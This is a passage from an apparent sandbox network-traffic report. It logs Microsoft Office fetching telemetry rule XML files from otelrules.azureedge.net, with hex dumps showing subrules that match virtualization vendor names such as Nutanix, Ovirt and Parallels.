22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:14 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162414Z-16547b76f7fgvq8chC1DFWhd2w00000006qg000000002n3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:14 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:14 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7cd0f64a-201e-0071-70c6-37ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162414Z-1866b5c5fbbb9dv9hC1DFWps5c000000016g000000009106 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:14 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:14 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162414Z-1866b5c5fbbb286shC1DFWx97800000002d000000000qv7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:14 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: fc50ab50-c01e-00a2-4413-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162414Z-164f84587bf6n6jwhC1DFW90fn000000054g00000000qz79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:14 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162414Z-16547b76f7fl5zvnhC1DFWtk9g00000004cg00000000r39y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:14 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:15 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162415Z-16547b76f7ff9zf4hC1DFW2pfc00000003pg000000008q2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:15 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:14 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162415Z-16547b76f7fd4rc5hC1DFWkzhw00000006c000000000847b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:14 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:15 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162415Z-16547b76f7fsq6p7hC1DFWfx6800000004gg00000000aqs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:15 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:15 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f6e15b3c-401e-0083-16b1-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162415Z-164f84587bf7jb9dhC1DFWkay400000005sg0000000025p9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:15 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:15 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162415Z-1866b5c5fbbkbjq9hC1DFWf1es00000004w000000000pgbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:15 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:15 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:15 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a9097ed3-401e-0064-107c-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162415Z-164f84587bffvwt9hC1DFW2ktw00000003rg00000000h81v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:15 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:15 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:15 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb2e9763-101e-0079-2c7d-375913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162415Z-164f84587bfsqsthhC1DFWh630000000051000000000smpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
